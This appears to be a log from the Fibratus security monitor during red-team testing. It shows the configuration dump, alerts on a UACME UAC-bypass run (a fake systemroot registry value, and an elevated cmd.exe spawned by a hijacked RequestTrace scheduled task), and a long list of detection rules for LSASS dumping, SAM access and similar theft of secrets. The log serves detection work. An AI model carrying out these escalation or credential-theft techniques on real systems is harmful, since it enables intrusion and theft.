+time=2025-12-05T16:09:33+01:00 level=info msg=bootstrapping with pid 19140. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T16:09:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ port=>25 enabled=>false to=>[] content-type=>text/html use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true enable-mem=>false enable-image=>true min-buffers=>16 enable-net=>true flush-interval=>1s enable-handle=>false max-buffers=>36 enable-thread=>true enable-dns=>false enable-vamap=>true enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-fileio=>true enable-threadpool=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text max-size=>100 max-age=>0 max-backups=>15 log-stdout=>true] + output ......................... [ elasticsearch=>[ healthcheck-timeout=>5s index-name=>fibratus timeout=>5s healthcheck=>true gzip-compression=>false bulk-workers=>1 sniff=>false trace-log=>false template-name=>fibratus enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s flush-period=>1s] http=>[ enabled=>false timeout=>5s serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false method=>POST endpoints=>[]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] amqp=>[ tls-insecure-skip-verify=>false delivery-mode=>transient enabled=>false exchange-type=>topic durable=>false routing-key=>fibratus vhost=>/ passive=>false timeout=>5s exchange=>fibratus url=>amqp://localhost:5672]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-registry=>false skip-allocs=>false fastscan=>true excluded-files=>[] enabled=>false skip-files=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-05T16:09:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:09:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:09:46+01:00 level=info msg=sending alert: [Fake system root environment variable manipulation]. Text: Event(s): + Seq: 12515966 + Pid: 2628 + Tid: 3160 + Type: RegSetValue + CPU: 3 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:09:42.2305263 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp, key_handle➜ ffffc38f40407a80, key_path➜ HKEY_CURRENT_USER\Volatile Environment\systemroot, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: Fake system root environment variable manipulation, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 2628 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 80 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 80] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:09:46+01:00 level=info msg=sending alert: [UAC bypass via RequestTrace scheduled task hijack]. Text: Event(s): + Seq: 12520014 + Pid: 14956 + Tid: 4332 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:09:42.5247583 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 30e28c000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f736b7080, name➜ cmd.exe, pid➜ 8836, ppid➜ 14956, real_ppid➜ 14956, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 16:09:42.5246861 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via RequestTrace scheduled task hijack, tactic.id: TA0004 + + Pid: 14956 + Ppid: 812 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [taskhostw.exe] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T16:11:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T16:11:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:11:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:25:22+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T16:25:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml 